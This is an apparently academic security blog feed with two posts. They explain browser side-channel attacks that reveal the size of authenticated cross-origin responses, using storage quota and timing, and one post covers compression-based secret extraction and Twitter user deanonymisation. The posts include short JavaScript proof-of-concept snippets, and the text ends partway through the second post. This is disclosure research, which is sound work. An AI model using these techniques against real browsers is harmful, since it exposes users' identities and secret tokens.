<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.0.0">Jekyll</generator><link href="https://tom.vg//feed.xml" rel="self" type="application/atom+xml" /><link href="https://tom.vg//" rel="alternate" type="text/html" /><updated>2021-02-24T13:30:47+01:00</updated><id>https://tom.vg//feed.xml</id><title type="html">tom.vg | Blog</title><author><name>Tom Van Goethem</name></author><entry><title type="html">Storage quota side-channel attacks in the browser</title><link href="https://tom.vg//2016/08/request-and-conquer/" rel="alternate" type="text/html" title="Storage quota side-channel attacks in the browser" /><published>2016-08-18T00:00:00+02:00</published><updated>2016-08-18T00:00:00+02:00</updated><id>https://tom.vg//2016/08/request-and-conquer</id><content type="html" xml:base="https://tom.vg//2016/08/request-and-conquer/">&lt;p&gt;At the Black Hat USA 2016 conference, we presented “HEIST”. In a nutshell, HEIST is a set of techniques that exploit timing side-channels in the browser to determine the exact size of an authenticated cross-origin response. These side-channels allow an adversary to determine whether a response fitted into a single TCP window or whether it needed multiple. Combined with having content of the request reflected into the response, or by leveraging HTTP/2’s parallel requests, an attacker can determine the exact amount of bytes that were needed to send the response back to the client, all from within the browser. It so happens to be that knowing the exact size of a cross-origin resource is just what you need to launch a compression-based attack, which can be used to extract content (e.g. CSRF tokens) from any website using gzip compression. If you are interested in knowing all the details, I gladly invite you to have a look at the &lt;a href=&quot;/papers/heist_blackhat2016.pdf&quot;&gt;whitepaper&lt;/a&gt;, &lt;a href=&quot;/talks/BlackHatUSA2016_HEIST-presentation.pdf&quot;&gt;slides&lt;/a&gt;, or &lt;a href=&quot;https://www.youtube.com/watch?v=GwQsu8dGSeA&quot;&gt;video of the talk&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The week after Black Hat, we went to the USENIX Security conference, to present our paper titled “&lt;a href=&quot;/papers/request_and_conquer_usenix2016.pdf&quot;&gt;Request and Conquer: Exposing Cross-Origin Resource Size&lt;/a&gt;”. As the title already gives away, in the paper we explore various methods that can be used to expose the size of cross-origin resources. An interesting technique that we discovered as part of our analysis, was to leverage the browser’s storage mechanisms, and more precisely the quota that is applied to it. In this post, I will discuss a small part of the techniques that we discovered (have a look at the paper if you want to know the full details). I will also discuss something that we discovered after the paper was published, namely how these techniques can be used to launch compression-based attacks (similar to HEIST, but even more stable).&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h3 id=&quot;storage-quota-side-channel-attacks&quot;&gt;Storage quota side-channel attacks&lt;/h3&gt;

&lt;p&gt;To provide web developers with fine-grained control over which resources are cached, the &lt;a href=&quot;https://www.w3.org/TR/service-workers/#cache&quot;&gt;Cache API&lt;/a&gt; was brought to life. This interface can be used to add, retrieve and delete arbitrarily chosen resources into/from the cache. In a &lt;a href=&quot;https://tom.vg/2016/08/browser-based-timing-attacks/#cache-storage-attack&quot;&gt;previous post&lt;/a&gt; I showed how this API can be used directly to estimate the size of a cross-origin response by leveraging it as a timing side-channel. Of course timing is not the only side-channel that can be abused. Whenever quota is applied to a certain resource, chances are that this introduces a side-channel information leak. The short video below illustrates how an attacker can abuse this side-channel to infer the size of an authenticated cross-origin resource, for the full details, please read on.&lt;/p&gt;

&lt;video width=&quot;700&quot; controls=&quot;&quot;&gt;
    &lt;source src=&quot;/assets/video/webm/storage-side-channel.webm&quot; type=&quot;video/webm&quot; /&gt;
    &lt;source src=&quot;/assets/video/mp4/storage-side-channel.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    &lt;source src=&quot;/assets/video/ogg/storage-side-channel.ogv&quot; type=&quot;video/ogg&quot; /&gt;
&lt;/video&gt;

&lt;p&gt;So how does all of this work? Let’s go step by step. First, the attacker completely fills the cache. This is probably the most arduous and (depending on the size of the victim’s hard disk) time-consuming task. However, if you take into account that other mechanisms such as &lt;code&gt;localStorage&lt;/code&gt; or &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API&quot;&gt;IndexedDB&lt;/a&gt; fall under the same per-site quota as the Cache API, you can easily leverage one of those APIs to fill up the cache. By playing around with IndexedDB, I found that I could fill the hard disk at 50-100MB/s, thereby reaching the quota in a few seconds. As soon as the quota is reached, any attempts to store new items will result in an error. At this point, the attacker will free up a specific amount of bytes (referred to as &lt;code&gt;x&lt;/code&gt; in the video). These two steps are required because the attacker does not know in advance the size of the cache (in case it’s a percentage of a percentage of the global available disk space, it should be considered random by the attacker). By freeing up a certain number of bytes, the attacker knows exactly how many bytes it will take before the quota is reached again.&lt;/p&gt;

&lt;p&gt;In the next step, the attacker will use the &lt;a href=&quot;https://fetch.spec.whatwg.org/&quot;&gt;Fetch API&lt;/a&gt; to download the target resource, using the options &lt;code&gt;{mode: &quot;no-cors&quot;, credentials: &quot;include&quot;}&lt;/code&gt;  to make sure the victim’s cookies are included. As soon as the resource has been downloaded and added to the cache, the adversary can start filling the cache again. However, this time the attacker will need to take note of the number of bytes he put in the cache before reaching the quota limit (referred to as &lt;code&gt;y&lt;/code&gt; in the video). By computing &lt;code&gt;x - y&lt;/code&gt;, the attacker discovers the exact size of the resource.&lt;/p&gt;

&lt;h3 id=&quot;quota-management-apis&quot;&gt;Quota Management APIs&lt;/h3&gt;

&lt;p&gt;Next to leveraging the per-site quota limit, there are some related attacks as well. A little-known API named &lt;a href=&quot;https://w3c.github.io/quota-api/&quot;&gt;Quota Management&lt;/a&gt;, which has only been adopted by Chrome, allows you to query the current storage usage. Considering that attackers can store authenticated cross-origin resources, and query storage usage as often as they like, it becomes ridiculously easy to find the size of a cross-origin resource:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getEstimate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oldSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;caches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;bogus-cache&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;no-cors&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;resp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;storageQuota&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;queryInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;temporary&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;estimate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;oldSize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;estimate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;usage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;caches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;bogus-cache&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/bogusReq&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;clone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;storageQuota&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;queryInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;temporary&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;estimate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;estimate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;usage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oldSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the time of writing, the above code will only work in Chrome Canary (v54). To achieve the same in the current stable version of Chrome (v52), this API should be used instead: &lt;code&gt;navigator.webkitTemporaryStorage.queryUsageAndQuota&lt;/code&gt; (it takes a callback function as argument). Note that this API has been there for ages, &lt;a href=&quot;https://groups.google.com/a/chromium.org/forum/#!msg/chromium-html5/m-ei3ATZr2c/ZkO6ZkLSYVIJ&quot;&gt;at least since Chrome v13&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;real-world-attack-scenarios&quot;&gt;Real-world attack scenarios&lt;/h3&gt;

&lt;p&gt;Knowing the &lt;em&gt;exact&lt;/em&gt; size of authenticated cross-origin resources, allows an attacker to discover numerous things about a victim. In &lt;a href=&quot;/papers/request_and_conquer_usenix2016.pdf&quot;&gt;our paper&lt;/a&gt;, we provide a few example scenarios, but since virtually every website is designed to return user-specific content, there are countless other “possibilities”. The attack scenario I personally find most interesting, is the identification of a user on Twitter by leveraging publicly available resources. In this scenario, the attacker first creates a large database of Twitter users and the size of associated resources, e.g. &lt;code&gt;/user/following&lt;/code&gt;, &lt;code&gt;/user/followers&lt;/code&gt;, … When the victim visits the attacker’s page, the attacker obtains the size of the &lt;code&gt;/following&lt;/code&gt;, &lt;code&gt;/followers&lt;/code&gt; resources that are returned to the victim. Because the victim’s cookie is attached to these requests, they will be of the same size as &lt;code&gt;/victim/following&lt;/code&gt;, &lt;code&gt;/victim/followers&lt;/code&gt;, etc. Now the attacker only needs to match the entries in his database to the ones retrieved from the victim, allowing him to determine the victim’s identity.&lt;/p&gt;

&lt;p&gt;To analyse the viability of this attack, we performed an experiment where we collected the size of 5 resources of 500,000 random Twitter users. We then grouped together users with the same vector of resource sizes. The group size can be considered the size of the anonymity set: if the size is 2, then the victim can be of any of these 2 users. The graph below shows the distribution of the amount of users per group size (note that the y-axis is logarithmic scale). The most interesting about this graph are those two dots in the top left corner. Knowing the size of just two resources, 81.69% of the 500k Twitter can be uniquely identified. For all 5 resources, this percentage rises to 99.96%. Of course, this only works if the public resources obtained by the attacker remain “fresh”. As soon as the victim gains a new Twitter follower, the response size will change. To counter this, the adversary can re-download the profiles whose resource lengths are close to that of the victim. Given enough effort, I’d say this is well in the range of a motivated attacker. Remember that this is just one of many attack scenarios, in our paper we describe various others, most of which require much less effort.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/twitter-uniqueness.svg&quot; width=&quot;430&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;compression-based-attacks&quot;&gt;Compression-based attacks&lt;/h3&gt;

&lt;p&gt;If you haven’t been living under a rock for the last few years, you have probably heard of &lt;a href=&quot;https://docs.google.com/presentation/d/11eBmGiHbYcHR9gL5nDyZChu_-lCa2GizeuOfaLU2HOU/edit?usp=sharing&quot;&gt;CRIME&lt;/a&gt;, &lt;a href=&quot;http://breachattack.com/resources/BREACH%20-%20SSL,%20gone%20in%2030%20seconds.pdf&quot;&gt;BREACH&lt;/a&gt;, &lt;a href=&quot;https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf&quot;&gt;TIME&lt;/a&gt;, or &lt;a href=&quot;/papers/heist_blackhat2016.pdf&quot;&gt;HEIST&lt;/a&gt;. All these attacks aim to do the same thing: exploit resource compression to reveal secret content. In a nutshell (skipping many important details), it works as follows: the attacker injects &lt;code&gt;secret=a&lt;/code&gt; in the request, which will be reflected in the response. If the secret starts with &lt;code&gt;a&lt;/code&gt;, the compression algorithm can reference a longer string, and the resulting size will be 1 byte smaller compared to any other character. To launch such a compression-based attack, the first requirement is that a short attacker-controlled string ends up in the response (many web pages reflect the requested URL, so that’s not too difficult). The second requirement is that the attacker needs to know the exact resource size. Of course, only the size of the response &lt;em&gt;after&lt;/em&gt; compression matters. Unfortunately, this prevents us from directly applying the size-exposing techniques based on the browser storage quota, as resources are stored without compression.&lt;/p&gt;

&lt;p&gt;Of course, you wouldn’t be reading all of this, if there was no other technique that could be applied. Since we can’t learn any information from the response body, it might be interesting to consider the response headers as well. The only header I know of that is related to the response size, is the &lt;code&gt;Content-Length&lt;/code&gt; header. What’s important to note, is that the value of the &lt;code&gt;Content-Length&lt;/code&gt; header reflects the response size &lt;em&gt;after&lt;/em&gt; compression. Of course, we still need a way to discover the value of this header. Interestingly, because the Cache API will store headers as well, we can again use the same quota side-channel attack here. Here we can leverage the fact the value of &lt;code&gt;Content-Length&lt;/code&gt; is represented as a decimal value. As such, it takes 3 bytes to store &lt;code&gt;999&lt;/code&gt;, and 4 bytes to store &lt;code&gt;1000&lt;/code&gt;. So all an attacker needs to do, is to find the tipping point, i.e., an incorrect guess of the secret results in an additional byte to represent the &lt;code&gt;Content-Length&lt;/code&gt; value. E.g. &lt;code&gt;Content-Length&lt;/code&gt; for &lt;code&gt;secret=a&lt;/code&gt; is &lt;code&gt;999&lt;/code&gt;, for &lt;code&gt;secret=b&lt;/code&gt; it is &lt;code&gt;1000&lt;/code&gt;; so now we know that &lt;code&gt;a&lt;/code&gt; is a correct guess. The attacker can reach this tipping point by reflecting more content in the response, or by picking a resource that is much closer to it. So there you have it, an attack that can extract secret content from resources purely in the browser, without needing to worry about how or when they are sent over the network.&lt;/p&gt;

&lt;h3 id=&quot;help-im-doomed&quot;&gt;Help, I’m doomed&lt;/h3&gt;

&lt;p&gt;We’ve &lt;a href=&quot;https://github.com/whatwg/storage/issues/31&quot;&gt;reported&lt;/a&gt; these issues to both browser vendors and spec editors, and proposed a solution based on applying a virtual padding to responses. This degrades the performance of the attacks to that of timing attacks (an evil we will have to live with for the time being). This is because the only attack against random padding is to collect enough measurements and apply some statistical method. By making it difficult to collect many measurements, attackers are significantly hindered when launching this attack. Hopefully, these mitigations will land in browsers soon! For the time being, you might want to consider disabling third-party cookies in your browser, which not only mitigates the attacks mentioned in this post, but also timing and CSRF attacks.&lt;/p&gt;</content><author><name>Tom Van Goethem</name></author><category term="Cross-site" /><category term="Security" /><category term="Academic" /><category term="Attacks" /><summary type="html">At the Black Hat USA 2016 conference, we presented “HEIST”. In a nutshell, HEIST is a set of techniques that exploit timing side-channels in the browser to determine the exact size of an authenticated cross-origin response. These side-channels allow an adversary to determine whether a response fitted into a single TCP window or whether it needed multiple. Combined with having content of the request reflected into the response, or by leveraging HTTP/2’s parallel requests, an attacker can determine the exact amount of bytes that were needed to send the response back to the client, all from within the browser. It so happens to be that knowing the exact size of a cross-origin resource is just what you need to launch a compression-based attack, which can be used to extract content (e.g. CSRF tokens) from any website using gzip compression. If you are interested in knowing all the details, I gladly invite you to have a look at the whitepaper, slides, or video of the talk. The week after Black Hat, we went to the USENIX Security conference, to present our paper titled “Request and Conquer: Exposing Cross-Origin Resource Size”. As the title already gives away, in the paper we explore various methods that can be used to expose the size of cross-origin resources. An interesting technique that we discovered as part of our analysis, was to leverage the browser’s storage mechanisms, and more precisely the quota that is applied to it. In this post, I will discuss a small part of the techniques that we discovered (have a look at the paper if you want to know the full details). I will also discuss something that we discovered after the paper was published, namely how these techniques can be used to launch compression-based attacks (similar to HEIST, but even more stable).</summary></entry><entry><title type="html">Timing Attacks in the Modern Web</title><link href="https://tom.vg//2016/08/browser-based-timing-attacks/" rel="alternate" type="text/html" title="Timing Attacks in the Modern Web" /><published>2016-08-01T00:00:00+02:00</published><updated>2016-08-01T00:00:00+02:00</updated><id>https://tom.vg//2016/08/browser-based-timing-attacks</id><content type="html" xml:base="https://tom.vg//2016/08/browser-based-timing-attacks/">&lt;p&gt;Before you explore all the details of these browser-based timing attacks, head over to &lt;a href=&quot;https://labs.tom.vg/browser-based-timing-attacks/&quot;&gt;my laboratories&lt;/a&gt; to play around with these attacks yourself!&lt;/p&gt;

&lt;p&gt;Timing attacks have been known for a long time. One of the earliest, and possibly the most well-known attacks that leverage timing as side-channel information, are those reported by Paul Kocher in 1996 (to give you an idea, that’s around the same time cookies were first introduced to the web). In &lt;a href=&quot;http://courses.csail.mit.edu/6.857/2006/handouts/TimingAttacks.pdf&quot;&gt;his paper&lt;/a&gt;, Kocher describes that by measuring the execution time of private key operations, it becomes possible to factor RSA keys and break other cryptosystems such as Diffie-Hellman. After all these years, timing attacks are still highly relevant (you may have heard about the &lt;a href=&quot;http://www.isg.rhul.ac.uk/tls/Lucky13.html&quot;&gt;Lucky 13 attack&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;In the context of the web, one of the earliest mentions of timing attacks was in 2007, by Bortz and Boneh. In their work, the researchers &lt;a href=&quot;https://crypto.stanford.edu/~dabo/papers/webtiming.pdf&quot;&gt;introduced&lt;/a&gt; two types of web-based timing attacks: direct timing attacks and cross-site timing attacks. The former describes the scenario where the adversary directly (hence the name) interacts with the web server. For instance, by measuring the time the server takes to process a &lt;code&gt;POST&lt;/code&gt; request to the &lt;code&gt;/login&lt;/code&gt; endpoint, the attacker can infer the existence of a username. Similarly, when passwords are checked character by character, the adversary can leverage the timing information to figure out at which position the password comparison failed, and use this information to reveal a victim’s password.&lt;/p&gt;

&lt;h3 id=&quot;cross-site-timing-attacks&quot;&gt;Cross-site Timing Attacks&lt;/h3&gt;

&lt;p&gt;The remainder of this post will focus on the other type of timing attack, namely the cross-site timing attack. The main difference with direct timing attacks is that in this scenario, it is not the attacker that sends out requests to the targeted website. Instead, by using JavaScript, the attacker triggers to send out carefully crafted requests. As part of the timing attack, the adversary measures the time it takes for the client to download the associated resource. It is important to note here that the requests sent out by the victim are authenticated, i.e. they contain the &lt;code&gt;Cookie&lt;/code&gt; header. This means that the response that is returned to the victim will be based on the state of that victim with the targeted website.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;Here’s an example that should help you visualize this more easily. Let’s assume there is a popular social network &lt;code&gt;https://social.com&lt;/code&gt; consisting of two groups: “The Force” and “The Dark Side”. The groups can be reached at the endpoints &lt;code&gt;/the-force/&lt;/code&gt; and &lt;code&gt;/the-dark-side/&lt;/code&gt;, but the content posted in the group can only be accessed by members of the group, otherwise a short error message is returned. 
Now, when the victim is visiting some random website (e.g. this one), it may contain some malicious JavaScript written by the attacker (either from the website itself, or from a third-party source). The attacker will use this malicious JavaScript to figure out which group victims belongs to, thereby violating their privacy. This JavaScript could be as simple as this:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getMeasurement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
